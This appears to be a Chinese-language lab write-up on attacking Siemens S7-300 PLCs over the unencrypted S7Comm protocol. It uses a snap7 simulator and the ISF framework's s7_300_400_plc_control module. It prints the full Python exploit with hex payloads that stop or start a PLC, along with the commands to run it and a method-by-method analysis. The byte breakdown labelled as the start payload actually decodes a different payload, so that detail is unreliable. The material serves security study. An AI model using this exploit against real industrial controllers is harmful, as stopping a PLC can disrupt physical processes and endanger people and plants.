前言

西门子(Siemens)的可编程逻辑控制器(PLC)产品线在中国广泛应用,尤其是体积小、功能强的S7系列。S7系列根据性能分为微型(如S7-200)、小型(如S7-300)和中高性能(如S7-400)。西门子PLC使用私有通信协议,主要通过TPKT和ISO8073协议进行数据交换,通常使用102端口。S7Comm协议用于早期的S7-200、S7-300和S7-400系列,没有加密,容易受网络攻击。新的S7CommPlus协议,如S7-1500系列所用,增加了会话ID机制,提高了通信安全。

环境搭建:

https://sourceforge.net/projects/snap7/files/1.4.2/

下载并解压 snap7-full-1.4.2.7z


跳转至snap7-full-1.4.2/snap7-full-1.4.2/rich-demos/x86_64-win64/bin目录下
打开serverdemo.exe
输入本机ip 并且点击start

打开 clientdemo.exe 进行连接


连接成功

漏洞复现

工控漏洞利用框架 ISF(Industrial Exploitation Framework)
https://github.com/dark-lbp/isf

环境:
kalilinux 192.168.116.128
S7-300仿真机 192.168.2.2

clone isf框架到本地

git clone https://github.com/dark-lbp/isf/

下载适用于python2的nmap包到本地

https://launchpad.net/ubuntu/+source/python-nmap/0.1.4-1
tar xvzf python-nmap_0.1.4.orig.tar.gz
cd python-nmap-0.1.4
python2 setup.py install

运行isf框架

cd isf
sudo su
python2 isf.py

使用s7 300/400 攻击模块

use exploits/plcs/siemens/s7_300_400_plc_control


设置目标

set target 192.168.2.2


开始攻击

run



利用成功

漏洞分析

exp分析

利用脚本在icssploit/modules/exploits/plcs/siemens/s7_300_400_plc_control.py 下

import socket
import time

setup_communication_payload = '0300001902f08032010000020000080000f0000002000201e0'.decode('hex')
cpu_start_payload = "0300002502f0803201000005000014000028000000000000fd000009505f50524f4752414d".decode('hex')
cpu_stop_payload = "0300002102f0803201000006000010000029000000000009505f50524f4752414d".decode('hex')

class Exploit(exploits.Exploit):


    target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4)
    port = exploits.Option(102, 'Target Port', validators=validators.integer)
    slot = exploits.Option(2, 'CPU slot number.', validators=validators.integer)
    command = exploits.Option(2, 'Command 1:start plc, 2:stop plc.', validators=validators.integer)
    sock = None

    def create_connect(self, slot):
        slot_num = chr(slot)
        create_connect_payload = '0300001611e00000001400c1020100c20201'.decode('hex') + slot_num + 'c0010a'.decode('hex')
        self.sock.send(create_connect_payload)
        self.sock.recv(1024)
        self.sock.send(setup_communication_payload)
        self.sock.recv(1024)

    def exploit(self):
        self.sock = socket.socket()
        self.sock.connect((self.target, self.port))
        self.create_connect(self.slot)
        if self.command == 1:
            print_status("Start plc")
            self.sock.send(cpu_start_payload)
        elif self.command == 2:
            print_status("Stop plc")
            self.sock.send(cpu_stop_payload)
        else:
            print_error("Command %s didn't support" % self.command)

    def run(self):
        if self._check_alive():
            print_success("Target is alive")
            print_status("Sending packet to target")
            self.exploit()
            if not self._check_alive():
                print_success("Target is down")
        else:
            print_error("Target is not alive")

    @mute
    # TODO: Add check later
    def check(self):
        pass

    def _check_alive(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            sock.connect((self.target, self.port))
            sock.close()
        except Exception:
            return False
        return True

该类中一共有四个方法

create_connect:
它接收一个slot参数(代表CPU的插槽号)。
create_connect_payload 是根据插槽号构造的特定有效载荷,用于初始化与PLC的连接。
方法首先通过socket发送create_connect_payload,然后等待接收PLC的响应。接着发送setup_communication_payload来完成通信设置

exploit:
它首先创建一个socket连接到目标PLC的IP地址和端口。
调用create_connect方法来建立与PLC的连接。
根据command选项的值,决定是发送cpu_start_payload(如果command为1)来启动PLC,或是发送cpu_stop_payload(如果command为2)来停止PLC

run :
run 方法首先检查目标PLC是否在线(通过调用_check_alive方法)。
如果目标在线,它会输出状态信息,并调用exploit方法来执行攻击。
攻击执行后,再次检查目标状态,以确认攻击是否成功。

_check_alive:
它尝试通过socket连接到PLC的IP地址和端口。
如果连接成功,说明PLC在线,方法返回True;否则捕获异常,返回False。

cpu_start_payload分析:

0300002502f0803201000005000014000028000000000000fd000009505f50524f4752414d
解码成字节串
\x03\x00\x00\x19\x02\xf0\x80\x32\x01\x00\x00\x02\x00\x00\x08\x00\x00\xf0\x00\x00\x02\x00\x02\x01\xe0
\x03:数据包的起始字节
\x00\x00\x19:数据包的长度
\x02\xf0\x80:固定协议标识(s7协议)

剩下的部分与案例流量包中的S7 Communication部分一致

案例流量包下载:
https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=s7comm_downloading_block_db1.pcap

总结

随着越来越多的工业系统接入网络,它们也日益暴露于潜在的网络攻击之下。因此,研究如何设计更为安全的通信协议,以及如何在保持操作效率的同时提高系统的安全防护能力,成为了一个重要的课题。

新一代的工业控制系统通常采用更加先进的安全机制,比如西门子的S7-1500 PLC系列,我们可以看到制造商在安全性方面有了显著的进步。S7-1500系列增加了更多的安全功能,如加密通信、访问控制列表(ACL)和用户认证机制。这些功能的引入,显著提高了PLC的安全性,为现代工业控制系统设立了新的安全标准。这些改进也反映了制造商对于早期系统漏洞的响应,以及他们在产品迭代中不断增强安全性的努力。